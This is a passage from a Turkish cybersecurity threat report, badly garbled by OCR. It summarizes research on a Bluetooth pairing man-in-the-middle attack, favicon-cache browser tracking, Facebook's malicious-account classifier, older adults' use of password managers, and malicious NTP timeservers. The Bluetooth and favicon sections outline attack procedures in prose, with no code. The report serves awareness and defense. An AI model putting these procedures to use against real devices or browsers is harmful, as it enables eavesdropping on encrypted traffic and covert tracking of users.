ile ayni ad altinda reklam bilgisi yayar. Kullanici artik
C’yi Anin eglestirme menlsinde gbzlemler, burada
C’yi B'den ayirt edemez. Ek olarak B cihazinin me-
ndde gdérinmesini 6nlemek icin B’ye ayrica bir sinyal
bozma (jamming) saldirisi yapilabilir. Sonunda kulla-
nici C’yi istenen eslestirme ortagi olarak algiladigi igin
B yerine C ile eslesmeye baslar.

2. MitM Pozisyonu: Saldirgan A cihazindan eslesme
istegini alir almaz B cihaziyla bir eslesme basglatir.
Saldirgan C cihazi elde ettigi bu MitM pozisyonunu
eslesme streci boyunca korur.

Saldiri Detaylan

Sekil 10°da saldin senaryosu gérsellestirilmistir. Saldir-
gan CcihaziC, ve C . .. olarak iki ayr birim seklinde

gOsterilmistir. Her iki kisim da saldirganin kontrolindeki
C cihazinin bilesenleridir.

1. Acihazi C_  cihazina eslesme adimini baslatmak igin
guvenlik gereksinimlerini ve |IOCaps bilgilerini iletir
(KeyBoard?®).

2. C,_ Anin istegine cevap verir ve kendi givenlik ge-

reksinimini (MitM biti aktif) ve I0Caps’i (DisplayOnly)
goénderir.

A ve C,_arasinda baslayan “Eslestirme Ozelligi Degisi-
mi” eszamanl olarak C ve B arasinda da baglatilir.

gonderici

1. C gonderici B cihazina eslesme adimini baglatmak i¢in
guvenlik gereksinimi (MitM biti aktif) ve I0Caps’i
(DisplayYesNo) goénderir.

2. B cevap olarak I0Caps bilgilerini (DisplayYesNo |

DisplayKeyboard) génderir.

DahasonraAileC, veC_ . . ile Barasinda genel/acik
anahtarlar (PK) degistirilir. Kimlik dogrulama asamasinin
basinda C_ , Aile eslestirme prosedirini askiya alir. Bu
arada C kurban B ile sayisal karsilastirma tabanli

alici’

gonderici’
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bir kimlik dogrulamasi gergeklestirir. Cgbnderici ve B cihaz-
lar V, parametresini olustururlar. Daha sonra V, kullani-
cilya B’nin ekraninda 6 haneli bir sayi olarak sunulur. B
simdi kullanicinin numaray! kargilagtirmasini ve ardindan
sayisal karsilastirma tabanl kimlik dogrulamasini onay-
lamasini beklemeye baglar. Saldirganda C . araylzl
araciligiyla V, degerini alir. Ardindan C_  ve A arasindaki

anahtar girisi prosedtrine devam edilir:

1. C,, giris anahtari r,’yi V_ olarak ayarlar.

2. A ve C,_  kademeli olarak girig anahtar bitlerini (r_)
degisirler.

Bu noktada A, anahtar girisiyle kimlik dogrulamasini ger-
¢eklestirmek icin kullanicidan 6 basamakli V, parolasini
girmesini ister. Ozetle, A kullanicidan 6 basamakli bir de-
ger girmesini isterken B 6 basamakli bir deger gortntiler
ve onay bekler. Bu durum, mesru bir anahtar girisi esles-
tirme diyalogunun neredeyse aynisidr.

Ardindan A'nin E, degerini gbndermesiyle Uzun Vadeli
Anahtar (Long-Term Key LTK) hesaplama ve dogrulama
adimi baglar. A ve C__ genel anahtarlarini daha énce de-
gistirdikleri icin DH-Anahtari olan DHK , . - iki tarafta da
ayni degerle olusturulacaktir. Ayni durum C ve B

onderici
arasinda da gegerlidir (DHK, gonderic o)- ?

Saldirgan E, de@erini A'dan aldiktansonraC__, C

oo
alic’ ~ génderici yl

'yi agsagidaki gibi olusturmasi icin tetikleyecektir.

Cgonderici
Ec génderici — f6(DHK génderici B N, N r,, I10Caps,, adre-
s, adres,)
Sonra ECgbnderici B cihazina iletilir. Kullanici B cihazinda sa-

yisal dogrulama diyalogunu onayladiginda, cihaz kimlik
dogrulama agsamasini tamamlamig olur ve bir onay me-
sajl beklemeye baglar. B cihazi E; . . 'yi aldigindan,
degeri basariyla dogrular ve Eg ile ECgén Lerict Y€ Yanit verir.
Bu nedenle B ve Cgﬁjn werici Arasindaki eslestirme basariyla
tamamlanmigtir.

C 'de E; alindiginda saldirgan E_.’yi asagidaki gibi

onderici
hésaplamak icin C yi tetikler.

gonderici

E. .. = f6(DHK,

C alici

adres,)

N, N, r, IOCaps, adres,

C alic’

Bu deger daha sonra A'ya gonderilir. A aldigi E
gerini dogrular béylece A ve C
mamlanmig olur.

Calici de_
arasindaki eslesme ta-

alici

Sonug olarak A ve C_  ayni LTK’y1 kurar. Ayni durum C
gonderici ve B icin de gecerlidir. Bundan sonraki tim
iletisim, bu LTK’lardan tiretilen anahtarlar kullanilarak
sifrelenir. Sonug¢ olarak saldirgan (C) alinan mesajlarin
sifresini ¢bzerek ve bunlar ilgili esin LTK’sI ile yeniden
sifreledikten sonra ileterek A ve B arasindaki tim ileti-
simi aktarabilir. Bu nedenle saldirgan, A ve B arasinda
sifreli kanal Gzerinden degis tokus edilen tim mesajlarin
acik metnini dinleyebilir.
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I0capy = DisplayOnly

PKy
PK:,

Kullamc1 V degerini girer ve
onaylar

| Iy=TIp= Vﬂ ]

‘ Anahtar Girisi |

Sekil 9: Anahtar girisi ve sayisal dogrulama saldiri senaryosu.

4. Favicon ile Gecmis Takibi

Cevrimici izlemedeki gizlilik tehditleri, son yillarda gerek
saldirganlar gerekse de arastirmacilar tarafindan biylk
ilgi gérmustar. Bu, kullanicilarin gizlilik konusunda daha
dikkatli olmalarina ve tarayicilarin yavas yavas cerez
tabanl (cookie-based) ve cgerezsiz izlemeyi engelleme
konusundaki &nlemleri benimsemesini saglamistir. Bu-
nunla birlikte, modern tarayicilarin karmasikligi ve zengin
Ozelliklere sahip dogasi, cogu zaman, dismanlar tarafin-
dan kolayca kétlye kullanilabilecek, gériintste zararsiz
islevlerin yerlestirilebilmesini getirmistir. Arastirmacilar,
basit ve her yerde bulunan bir tarayici 6zelliginin daha
kétiye kullanilabilecegini ortaya koymustur. Bu yéntem
kisaca favicon (internet sitesi ikonu) adi verilen kigik
gorsellere dayanmaktadir.

Kullanicilarin internete erisimine aracilik eden ve kolay-
lastiran tarayicilar internet ekosisteminin temelinde yer
alir. internet genislemeye ve gelismeye devam ederken,
cevrimigi hizmetler daha zengin ve daha sorunsuz bir
kullanici deneyimi sunmaya yénelmektedir. Bu da yeni
standartlarn, APl'leri ve yeni &6zellikleri benimseyen ve
dagitan internet tarayicilarindan uygun desteg@i gerek-
tirmektedir. Sirekli degisen bu mekanizmalar, bazen
de internet sitelerinin gizliligi ihlal eden uygulamalariyla
¢ok sayida cihaz ve sistem bilgisi erigsimine izin verebil-
mektedir. Dogal olarak, tarayicilar tarafindan destekle-
nen yiksek karmasiklik ve genis ozellikler dizisi, gizliligi
bozan veya gizliligi ihlal eden davraniglar icin yeni yollar
sunmakta ve bdylece kullanicilari blyUk risklere maruz
birakmaktadirt®l.
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I0cap;, = DisplayYesNo

I0capc

V, Hesapla ]
| 6 Haneli V, Gésterilir |

[ Kullanier Onay: ‘
|

LTK ,ve MacKey, urretilir LTK ;ve MacKey, tiretilir
E, Kimlik Dogrulama 2. Adim E;
E(ﬂ "—B

Arastirmacilar, favicon’lardan yararlanarak kullanicilarin
ziyaret ettigi siteleri gegcmise donik olarak takip ede-
bileceklerini kegfetmiglerdir. Favicon, belirli bir internet
sitesi ile ilgili bir veya daha fazla kliglk gorseldir®. Ta-
rayicilar bir web sitesini yiklediginde, genellikle favicon
olarak adlandirlan belirli bir resim dosyasini aramak igin
otomatik olarak bir istek gdndermektedir. Bu daha sonra
tarayicinin adres gubugu, yer imleri gubugu, sekmeler ve
ana sayfadaki en ¢ok ziyaret edilen ve en iyi segenekler
gibi cesitli yerlerinde gdéruntilenmektedir.

Hem masadistt hem de mobil internet tarayicilarinda, bu
simgeler bagimsiz olarak depolanir ve Favicon Onbellegi
adi verilen ayri bir yerel veritabaninda énbellege alinrr. ilk
veri girigleri ziyaret edilen URLyi, favicon kimligini ve ya-
sam sUresini (TTL) icerir. Ziyaret Edilen URL, aktif tarayici
sekmesinin bir alt etki alani veya ayni temel etki alani al-
tindaki bir i¢ yol gibi agikga ziyaret edilen URL’sini saklar.

Entry ID Page URL Favicon ID TTL  Dimensions Size
1 foo.com favicon.ico 50000 16 X 16 120
2 xyz.foo.com fav_v2.ico 10000 32 X 32 240
3 foo.com/path favicon.ico 25500 16 X 16 120

Sekil 10: Ornek favicon énbellek icerigi.

Tarayiciya, favicon’u 6nbellege almama talimati verile-
bilir. Bu basliklardan higbiri mevcut olmadiginda, kisa
vadeli bir sona erme tarihi atanir, 6rnegin bu stire Ch-
rome tarayicisinda 6 saate karsilik gelmektedir. Ayrica
herhangi bir site simgesinin 6nbellege alinabilecegi en
uzun sdre bir yildir.
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Sekil 11: ilk 10.000 sitedeki favicon sona erme siiresi (glin olarak).

Sekil 11, toplanan favicon’larin sona erme degerlerini gs-
termektedir. Beklendigi gibi, favicon énbellege alinmanin
sona erme tarihleri dnemli 6l¢ctude farkliik gdstermekte-
dir. Ozellikle, favicon’larin yiizde 9’u bir giinden daha kisa
surede sona ermekte, ylizde 18’i bir ila (¢ ay icinde ve
ylzde 22’si maksimum sire olan bir yilin ardindan sona
ermektedir. Son olarak, favicon’larin yaklagik yluzde 27’si
icin bir dnbellek sona erme siresi bulunmamaktadir (UN-
DEF); bu da kullanilan tarayicinin varsayilan sona erme
sliresine gore (genellikle 6 saat) sona ermektedir®.

Favicon’lar, 20 yili agkin bir sUredir internetin bir pargasi
ve internet siteleri igin oldukca basit bir kaynak olsa da
modern tarayicilar, énbellege alirken beklenmedik ve ba-
zen oldukga kendine 6zgU davraniglar sergileyebilmek-
tedir. Favicon 6nbellegini saldiriya agik hale getiren dort
6zellik bulunmaktadir:

1. Favicon 6nbellegi tarayicinin HTTP &nbelleginin bir
parcasi olmayan 6zel bir énbellektir.

2. Kullanicilar tarayicinin énbellegini, gecmisini veya ve-
rilerini temizlediginde favicon onbellegi etkilenmez.

3. Gizli oturum vb. modlarda diizgiin bir sekilde izole
edilmez.

4. Favicon’lar bir yil boyunca énbellekte tutabilir.

Tdm bu o6zellikler kullanicilarin internet sitelerine yap-
tiklan ziyaretlerin, tarayicidaki veriler temizlenmis olsa
bile VPN kullanilarak, gizli modda tespit edilebilmesine
olanak saglamaktadir. internet siteleri, favicon énbel-
legindeki benzersiz bir giris kombinasyonu araciligiyla
benzersiz bir tarayici tanimlayicisi olusturabilir ve sak-
layabilir. Bu izleme, kullaniciyi bir dizi alt alan araciligiyla
uygun sekilde yeniden ydnlendirerek herhangi bir inter-
net sitesi tarafindan kolayca gergeklestirilebilir. Bu alt
alanlar, farkl site simgelerine hizmet eder ve bu neden-
le, favicon énbelleginde kendi giriglerini olusturur. Buna
gbre, her tarayici icin benzersiz olan bir N-bit tanimla-
yici olusturmak icin bir dizi N-alt etki alani kullanilabilir.
Saldirgan internet sitesini kontrol ettigi i¢in, herhangi bir
kullanici etkilesimi olmadan tarayiciyi alt alanlan ziyaret
etmeye zorlayabilir. Temel olarak, énbellekte alt etki alani
icin favicon simgesinin var olup olmadigi tanimlayicinin
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i‘inci bit degeriyle anlagilmaktadir, 1 var anlamina gelir-
ken, 0 olmadigini belirtir®.

Arastirmacilar bu saldin yénteminin Chrome, Safari ve
daha gizlilik odakli Brave de dahil olmak Uzere favicon
onbelledi kullanan tim blyUk tarayicilara karsi ¢alistigini
tespit etmistir.

5. Kétii Amach Sosyal Medya Hesaplarinin
Tespit Edilmesi

Sosyal aglar, kot amacl hesaplar ile ekonomik, politik
ve kisisel fayda saglamak amaci giiden saldirganlar igin
gekici platformlardir. Bu saldirlara karsi sosyal aglar,
makine 6grenmesi (ML) kullanarak k&t amacl hesaplari
tespit eden siniflandiricilar kullanmaktadir; fakat pratik
ve etkili bir ML temelli savunma, kéti amach manipd-
lasyon tekniklerine karsi dayanikliik gerektirir. Model
egitimi icin dogru sekilde etiketlenmis yeterli miktarda
veri toplanmasi ve tim aktif hesaplara 6lceklenebilen
bir sistemin tasarlanmasi bu problemi karmasiklastiran
etkenlerdendir.

Bu zorluklarin Ustesinden gelmek icin, Derin Varlik Si-
niflandiricisi (Deep Entity Classifier) sunulmaktadir. DEC,
geleneksel kdtl amagh sosyal medya hesabi tespit sis-
temlerinin tespit edemedigi hesaplari tespit edebilen bir
ML altyapisi saglar. izole edilmis sosyal medya hesap-
larinin siniflandinimasi zor olsa da sosyal dokuya go-
mulU olan; ag yapilari, 6zellikleri, kendileri ve etrafindaki
baglantilarinin davraniglar, saldirganlarin dlgeklenebilir
sekilde taklit etmesi veya manipulle etmesi oldukga zor
niteliklerdir.

Tanitilan sistem:

Sosyal dokudaki dogrudan veya dolayll komsulukla-
rin davranigsal 6zniteliklerini ve 6zelliklerini toplaya-
rak “derin &6zniteliklerini” ¢ikartir.

Cok basamakl coklu goérev 6grenmesi (MS-MTL)
paradigmasi, yeterince kesin olmayan dogruluk ve-
risini ayri basamaklarda degerlendirir ve insan tara-
findan etiketlenmis yiksek kesinlikte fakat az mik-
tarda veriyle, yiksek miktarda disik kesinlikteki
otomatize etiketlenmis drnekleri bir araya getirir. Bu
mimari, bircok kétl amach sosyal medya hesabi ti-
pini yiksek kesinlikte siniflandirabilen tek bir modelle
sonuglanmaktadir.

Cesitli 6rnekleme ve yeniden siniflandirma stratejileri
kullanarak milyarlarca kullaniciya o6lceklenebilen ve
sistem yukUnd azaltan ydntemler kullanir.

DEC, Facebook’ta kullaniimaya baslanmistir ve strekli
olarak tim kullanicilan siniflandirmaktadir. Bunun sonu-
cu olarak agdaki kot amacli hesaplarn ylizde 27’sini
tasfiye etmesi beklenmektedir.

SIBER TEHDIT DURUM RAPORU
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Problem

Sosyal aglar her ay en az iki milyar aktif kullanicinin igerik
paylastigi blylk platformlar haline gelmistir. Bu nedenle
bu platformlarin glinimuizdeki &lcegi, onlari ekonomik,
politik veya kisisel fayda icin sémirmek isteyen saldir-
ganlara bulyutk imkan sunmaktadir. Saldirganlar, binlerce
sahte hesap (gercek insanlar temsil etmeyen hesaplar)
acmak icin hatiri sayilir yatinmlar yapmaktadir. Bu kéti
amagcli hesaplar, spam, pornografi, siddet icerikleri ve
terérizm gibi topluluk standartlarini negatif olarak etkile-
yen eylemler yuratmektedir.

Sosyal ag platformlarinin karsilastigi asil zorluk bu he-
saplarin kesin ve blyuk 6lcekli olarak nasil tespit edile-
cegi ve bu tespitin ne kadar kesin olacagidir. Eger 6lgek
kiclk fakat kesinlik yiksek olursa dogru dnlemler ali-
nabilir, fakat her giin sizin elediginizden ¢ok daha fazla
saylda sahte hesap agilma ihtimalini géze almaniz ge-
rekir. Tamamen bulylk 6lgcege 6ncelik verirseniz bu se-
fer kesinlik dislik olacagindan gercek kullanicilan plat-
formdan uzaklastirabilirsiniz. Ancak bir sosyal medya
platformu icin bu durum kétl bir imaj yaratacagindan,
optimum bir yéntem bulunmasi gerekir.

Sosyal ag platformlari bu sorunlarla micadele etmek
icin birkagc yéntem kullanmaktadir. Bunlar sezgisel kural
temelli yéntemlerden modern makine égrenmesi algo-
ritmalarina kadar degisiklik gdstermektedir. Tanimlanan
kurallar genellikle savunmanin ilk hatti olarak yer alir ve
temel veya yaygin olarak kullanilan saldir araclarini, tek-
niklerini veya kaynaklarini tespit eder; fakat bu yéntem 6l-
ceklenebilirlikten cok kesinligi 6n planda tutar. Hesaplarin
davraniglarinin karmasikiigini yakalayamaz ve tepkiseldir.
Makine 6grenmesi sistemleri bu problemlerin bazilarinin
Ustesinden gelebilmektedir. Onceden etiketlenmis veri-
yi kullanarak kiimilatif sekilde kendilerini iyilestirebilir ve
kullanici davraniglarini anlamlandirabilir; fakat kesinligi
yUksek makine 6grenmesi sistemleri fazla miktarda ger-
¢ek veriye ihtiyag duyar ve kullanim maliyeti mihendislik
isi ve donanim kaynaklar acisindan ytksek olabilir. Ayni
zamanda, gergek bir kullaniciyi yeterince iyi sekilde temsil
edebilen zararll hesaplar tarafindan kandirilabilirler.

Onseziler

Saldirganlar kendi kullandiklar hesap tarafindan yapilan
aktivitelerin tam kontrolline sahiptir, fakat sosyal dokuda
diger kullanicilardan kendilerine gelen sosyal etkilesim-
ler Uzerinde bir kontrolleri bulunmamaktadir. Bu derece-
de gercek bir hesap taklidini gerceklestirmek bir sosyal
medya saldirgani icin oldukga zordur. Ornegin, hesap
tarafindan goénderilen arkadaslik isteklerini kontrol et-
mek saldirgan icin kolay olsa da kendisine kullanicinin
arkadaslari tarafindan goénderilen arkadaglik istekleri-
nin kontroli saldirganda degildir. Bu taklidin uygulan-
masl zor olmakla beraber ayni zamanda yan etkileri de
s6z konusudur (6r. ¢cok sayida reddedilmis arkadaslk
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iste@i); bu yan etkiler geleneksel ydntemlerle bile tespit
edilebilmektedir.

Bu dnseziler kullanilarak DEC gelistiriimistir. Hesapla-
ri siniflandirmak icin dolaysiz &znitelik ve davraniglar
temel almak yerine, DEC sosyal ag altyapisinin her bir
digimini tarayarak her hesap icin 20.000'den fazla
6znitelik ¢ikartarak calisir. Bu dznitelikler, kontrolli maki-
ne 6grenmesi modellerini zararli hesaplar degisik zararli
iceriklere gore siniflandirabilecek sekilde egitmek igin
kullanihir. DEC sistemi etiket Uretme, 6znitelik gikarma,
model egitimi ve giincellestirmesi gibi islemlerin tGmind
tek bir cati altinda gerceklestirerek her hesap i¢in bir za-
rarli davranig skoru uUretir.

DEC Galisma Mekanizmasi

DEC’in doku Uzerinde ilerlerken ¢ikardigi yiksek miktar-
da 6znitelik, model egitimi igin iki temel zorluk olusturur.

1. Eger dikkatsiz bir sekilde uygulanirsa, biytk éznitelik
uzayl model karmasikhgini kritik seviyede artirabilir.
Dolayisiyla model k&étl bir genelleme yargisina ve
performansa sahip olabilir.

2. Bu kadar cok sayida &znitelik igin iyi bir genelleme
elde etmek, milyarlarca kullanici arasindan insan ta-
rafindan etiketlenmis ylksek kalitede veri iceren bir
problem uzayinda olduk¢a buyuk bir egitim kiimesi-
ne ihtiyac duyar.

Bu kadar biylk sayida verinin insan tarafindan etiket-
lenmesi mUmkin olamayacagindan, insan tarafindan
etiketlenmis az sayida yUksek kalite veriye ek olarak ku-
ral temelli dnlemlerin Urettigi etiketler de “yaklasik etiket-
ler” olarak kullaniimaktadir. Bu etiketlerin kesinligi disik
olsa da miktarlan oldukga fazladr.

iki yéntemden de olabildigince fazla yararlanabilmek
icin, “cok asamali ¢oklu gorev 6grenmesi” (MS-MTL)
altyapisi gelistirilmigtir. Derin yapay sinir aglar, yliksek
miktardaki yaklasik etiketler kullanilarak egitilir ve yUk-
sek boyuttaki yaklasik verinin disik boyutlu temsille-
ri elde edilir. Daha sonra bu temsiller, insan tarafindan
etiketlenmis yUksek kalitedeki veriler Uzerinde dnceden
egitilmis bir model sayesinde kalibre edilir.

Model egitimi iki ayri asamada gergeklesir. ilk asama,
coklu gérev derin yapay sinir agini, toplanan ¢ok mik-
tarda dusik kesinlige sahip yaklasik etiketler kullanarak
egitir. Bu dusuUk kesinlikteki sinyaller tarafindan tespit
edilen hesaplar bir¢ok farkli zararll hesap tipini temsil et-
tiginden (6r. spam, zararl yazihm, kétl amagcl igerik) her
bir sémrQ tipi icin bir “6grenme goérevi” formalu Ureti-
lir. Sonrasinda yapay sinir aginin tam bagh gizli katmani
(penultimate layer) dusik boyutlu bir dznitelik vektori
olarak cikarlilir. Bu vektdr, ikinci asamanin girdisi olarak
kullanihir. Bu asamada model, her gérev icin insan ta-
rafindan etiketlenmis ylksek kesinlikteki veri Uzerinde,
standart ikili siniflandirici tarafindan egitilir.
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Sekil 12: MS-MTL DEC g¢alisma mekanizmasi.

MS-MTL, DEC’in ilk asamada, kétl amacl davranis tip-
lerinin arka planindaki genel temsilleri 8grenmesini, son-
raki asamada ise yiksek kesinlikte veri ile kéti amach
davraniglar ayirt etmeyi 6grenmesini saglar. Bu adimlar
sonucunda her hesap, her bir sémura tipi i¢in bir skora
sahip olur. Bu sayede her hesap ve her sdmur tipi, ge-
leneksel yontemlerden daha yiksek kesinlikte ve benzer
maliyette tek bir modelle dlgllebilen bir davranis skoru
degerine sahip olurl'?,

6. ileri Yash Yetiskinler Parola Yoneticilerini
Neden Kullaniyor (veya Kullanmiyor)

Bilgisayar korsanlarinin hesaplara erismesinin en kolay
yollarindan biri, parolalan tahmin etmektir. Bilgisayar
korsanlari, daha énceki veri ihlallerinde elde edilen, yay-
gin olarak kullanilan parola listelerini kullanir ve dogru
olani bulana kadar her birini dener. Bir hesabin gtivenli-
gini saglamak igin 6zellikle zayif parolalar kullaniliyorsa,
bunu bilgisayar korsanlar otomatize ederek birka¢ sani-
yede kirabilirler.

Kaba kuvvet (brute force) taktikleri, yalnizca birgok kul-
lanici varsayilan parolalari degistiremedigi, zayif parola-
lar ayarladigi veya ayni parolalar birden ¢ok platformda
kullandigi igin ise yarar. Bir platformda veri ihlali var-
sa, ayni parola ile kurulmus diger hesaplara da erigim
saglanabilir.

En glivenli parolalar rasgele olusturulmus uzun parola-
lardir, ancak bunlarin hatirlanmasi neredeyse imkansiz-
dir. Bu sorunu agsmanin en kolay yolu bir parola yénetici-
si (PY) kullanmaktir.

Pearman ve diger arastirmacilar! tarafindan yapilan bir
calismada, kullanicilarin neden parola y6neticisi kullanip
kullanmadiginin analizini yapiimistir. Fakat analizin ele al-
dig yas araligi 18-60 arasindadir. inceleyecegimiz calis-
mal'?, Pearman ve diger arasirmacilann' calismasinin
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devami niteligindedir. Bu ¢calismada 60 yas UstU bireyler-
le ilgili analizler yapiimistir.

Parola Yoneticisi Nedir

Parola yoneticileri, kullanicllara parolalart birden cok
sistem ve cihaz arasinda merkezi olarak depolama, di-
zenleme ve senkronize etme firsati sunar. Ayrica birden
fazla cesitte gelirler. Last-Pass, Dashlane, KeePass gibi
bagimsiz parola ydneticilerilerine web, tarayici uzantilari
veya uygulamalar araciligiyla erisilebilir. Ek olarak, birgok
modern web tarayicisinda yerlesik olarak bulunan paro-
la ydneticileri vardir. Bazi isletim sistemlerinde, Wi-Fipa-
rolalarini ve uygulama parolalarini kaydetmek icin iOS
Anahtar Deposu gibi parola yénetimi islevleri de bulunur,
ancak bunlar daha genel parola yonetimi yapmak icin de
kullanilabilir.

Aragtirmacilar, parola yoneticilerin benimsenmesinil's} ['4
arastirdi ve 6zellikle bagimsiz parola ydneticileri arasin-
da diistik benimseme oranlari buldul™ 6 (171,

Arastirma Sonucu ve Arastirmalarin Karsilastiriimasi
Benzerlikler

Mali hesaplarin korunmasi diger hesaplardan daha
6nemlidir.

PY’si olmayan kullanicilar parolalarinda belirli kelime-
ler kullaniyor.

PY’si olmayan kullanicilar tek bir basarisizlik nokta-
sindan endige duyuyor.

Yerlesik PY kullanicilari, bagkalarinin parolalarina eri-
simi oldugundan endise duyuyor.

Yerlesik PY kullanicilari ve ayn olarak kurulan PY kul-
lanicilar, otomatik doldurma 6zelligini ve parola giri-
sinin zorunlu olmamasini begeniyor.

Ayri olarak kurulmus PY kullanicilan, parolalarini her
zaman hatirlamalari i¢in PY’lere tam olarak giiveniyor.

Ayri olarak kurulan PY kullanicilari, PY’lerin parola ez-
berleme ihtiyacini ortadan kaldirdigini hissediyor.

Ayn olarak kurulan PY’leri benimseyen kullanicilar,
daha iyi glvenlik arzusuyla motive oluyor.

60 Yas Ustii Yetiskinlere Ozel

PY’si olmayan kullanicilar, parolalari nadiren yeniden
kullanildiklarini belirtiyor.

PY’si olmayan kullanicilar PY’leri icin 6deme yapmak
istemiyor.

PY’si olmayan kullanicilar, parolalarina kimlerin erige-
bilecegini kontrol etmeye deger veriyor.

SIBER TEHDIT DURUM RAPORU
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PY’si olmayan kullanicilar, yaglarindan dolayr daha
fazla parola olusturma olasiliklarinin az oldugunu
dastniyor.
Yerlesik PY kullanicilari, parola ydnetiminde zorluk
belirtmiyor.

Yerlesik PY kullanicilari, ayrn olarak kurulan PY’le-
rin faydalarinin farkindalar, ancak kurulum sirecinin
uzun olacagini disiinuyor.

Yerlesik PY kullanicilari, ayn olarak kurulan PY’lerine
glivenmiyor.

Ana parolalar, kullaniciya 6zel bilgilerden olusuyor.

Ayri olarak yiklenen PY kullanicilari, parola olustur-
ma 6zelliginden ve bir PY kullanmanin genel deneyi-
minden memnunlar.

Ayri olarak kurulmus PY kullanicilar, bulut depola-
maya ve parolalarin senkronizasyonuna karsi giiven-
sizliklerini dile getiriyor.

Ayri olarak kurulan PY kullanicilarina, aile tyeleri tara-
findan PY’leri benimsemeleri 6neriliyor.

18-60 Arasi Yetiskinlere Ozel""

PY’si olmayan kullanicilar, ayni parolalar kullandikla-
rini kabul ediyor.

PY’si olmayan kullanicilar yerlesik PY’leri denemeye
aciklar.

PY’si olmayan kullanicilar, parolalarinin nasil diizen-
lendigi Uzerinde kontrol sahibi olmaya deger veriyor.

PY’si olmayan kullanicilar, hesaplarinin bir PY gerek-
tirecek kadar 6nemli olmadigini diistintiyor.

Yerlesik PY kullanicilar, kayith tim parolalarini giin-
celleyememe ve goérintileyememe konusundaki en-
digelerini dile getiriyor.

Yerlesik PY kullanicilari, ayn olarak kurulan PY’lerin-
deki belirli 6zelliklerden ve avantajlardan habersizler.

Yerlesik PY kullanicilari, ayr olarak kurulan PY’lerin
glvenligi konusunda herhangi bir stiphelerini acikca
ifade etmiyor.

Ana parolalar, anlamsiz parolalardan olusuyor veya
rasgele olusturulmus.

Ayri olarak yuklenen PY kullanicilari, parola olusturma
6zelligini uygunsuz buluyor ve bunun yerine eski pa-
rolalar yeniden kullanarak riskli davraniglara giriyor.

Ayri olarak kurulan PY kullanicilarina, ¢alisma arka-
daglar tarafindan PY’leri benimsemeleri dneriliyor.

Parola Yoneticisi Kullanmadaki Motivasyon ve
Engeller

Engeller

Zaman aldigi disincesi,
Teknolojinin hafiza ve kontrol (izerindeki etkisi,
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Oz yeterlilik eksikligi,
Guven eksikligi.

Motivasyon

Hatirlanmasi gereken sifrelerin fazlaligi nedeniyle
PY’lere ihtiyac duyulmasi,

Aile Oyeleri tarafindan PY’lerin kullaniimasi,
Egitimle ¢ekinen veya glvenmeyen yetiskinlere
anlatiimasi.

Sonug

Yapilan calismadal’? iki arastirmanin sonugclari karsilag-
tinimistir. Bu kargilagstirmalar ve verilen cevaplar, 60 yas
Ustl yetiskinlerin egitilerek ve 6zellikle aileleri tarafindan
tesvik edilerek parola yoneticiligine adapte olabilecek-
lerini gbsteriyor. 18-60 yas araligindaki yetigkinlerin de
adapte olmasiyla 60 yas Ustl kullanici sayisinda artis
olacagi disundliyor.

Adapte olmus 60 yas Ustl yetigkinlerin online deneyim-
lerindeki memnuniyet dizeyi artiyor ve daha guivenli on-
line deneyimler yagsiyorlar.

7. NTP Zararli Zaman Sunucularina Karsi Ne
Kadar Guvenli?

Ag Zaman Protokoll (NTP), internet (izerinden bilgisayar
sistemleri arasinda zamani senkronize eder. Ayrica bir-
cok internet uygulamasinin dogrulugunu ve givenligini
garanti eder. Ancak NTP, zaman kaydirma saldirilarina
(time-shifting attacks) karsi savunmasizdir. Dolayisiy-
la NTP iletisimlerini dogrulamak ve NTP istemcilerinin
glvenligini saglamak icin standartlastirmaya gidilmesi
ihtiyaci dogmustur. Bu tir ¢ézimlere ragmen yine de
NTP’nin zararli zaman sunucularinin saldirilarina yuk-
sek oranda maruz kaldigi gézlemlenmektedir. “A Devil
of a Time: How Vulnerable is NTP to Malicious Time-
servers?” baslikl makaledel™® bu giivenlik acidi ve buna
yonelik saldin stratejileri incelenmistir. iki saldir strate-
jisi ortaya konmustur. ilk olarak, saldirganin az sayida
mevcut zaman sunucusu Uzerinde kontrol elde ederek
zamani Ulke dizeyinde ve hatta kita diizeyinde degisti-
rebilecegi gosterilmistir. Ardindan, NTP zaman sunucu-
su havuzuna yeni zaman sunuculari eklemenin oldukca
basit oldugu ve bunun hem buiytk dlcekli hem de hedef
saldirilar baglatmak icin kullanilabilecegi gésterilmistir.
Ayrica bu tir saldirilan azaltmak icin gerekli yaklasimlar
incelenmigtir.

Ag Zaman Protokolii (NTP); bilgisayar sistemlerini in-
ternet Uzerinden senkronize eder. Finansal hizmetlerden
glivenlik mekanizmalarina (TLS sertifikalari, Kerberos,
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DNS ve BGP guvenligi vs.) kadar ¢esitli internet hizmet
ve uygulamalari hem dogruluk hem de givenlik igin
NTP’ye givenir. Son ¢alismalarda vurgulandigi gibi, 30
yili agkin bir stire 6nce tasarlanan NTP, bir¢cok saldir bi-
¢cimine kargl savunmasizdir.

NTP istemcisi; periyodik olarak bir dizi zaman sunucu-
sunu sorgular. istemci, zaman sunucularindaki mevcut
saat okumalarini 6grenmek ve her bir zaman sunucu-
suna gore ag gecikmesini tahmin etmek icin bu zaman
sunuculariyla mesaj alisverisinde bulunur.

NTP zaman sunuculari; katmanlara gore hiyerarsik ola-
rak siralanir. Stratum O cihazlarinin yiksek dogrulukta
olmasi beklenir (6rnegin, atomik saatler veya dogrudan
GPS antenlerine bagl saatler) ve bir ag baglantisi Uize-
rinden erisilemez. Stratum 1 zaman sunucular, referans
saati olarak bir Stratum 0 cihazi kullanan ve internet lize-
rinden erisilebilen zaman sunucularidir. Stratum 2 zaman
sunuculari, Stratum 1 zaman sunucular vb. ile esitlenen
internet baglantilarina sahip zaman sunuculandir. Sekil
13’te Avrupa ve Amerika kitasindaki zaman sunuculari-
nin sayisi ve katmanlar gosterilmigtir.

3000
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0
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Sekil 13: Avrupa ve Kuzey Amerika’daki zaman sunucularinin sayisi.

NTP Havuz Projesi; farkl Ulkelerde ve kurumsal alandaki
goéndlltler tarafindan saglanan binlerce NTP zaman sunu-
cusuna erisimi merkezilestirir. Sunucu havuzu, kitaya (6rn:
europe.ntp.pool.org ve asia.pool.ntp.org) ve Ulkeye (6rn:
us.pool.ntp.org ve cn.pool.ntp.org) gore ayriimistir.

NTP’nin givenligini saglamaya yodnelik éneriler simdiye
kadar birbirini tamamlayan iki yéne odaklanmistir. ilki;
sifreleme yoluyla istemci-sunucu iletisiminin dogrulan-
masi, ikincisi ise yerel saatin istemcide hesaplanma bi-
¢imini degistirerek zaman sunucusu tarafindan saglanan
hatall zaman cevaplarinin etkisi. Bununla birlikte, NTP
glvenligine yonelik her iki yaklasim da NTP’yi kétu ni-
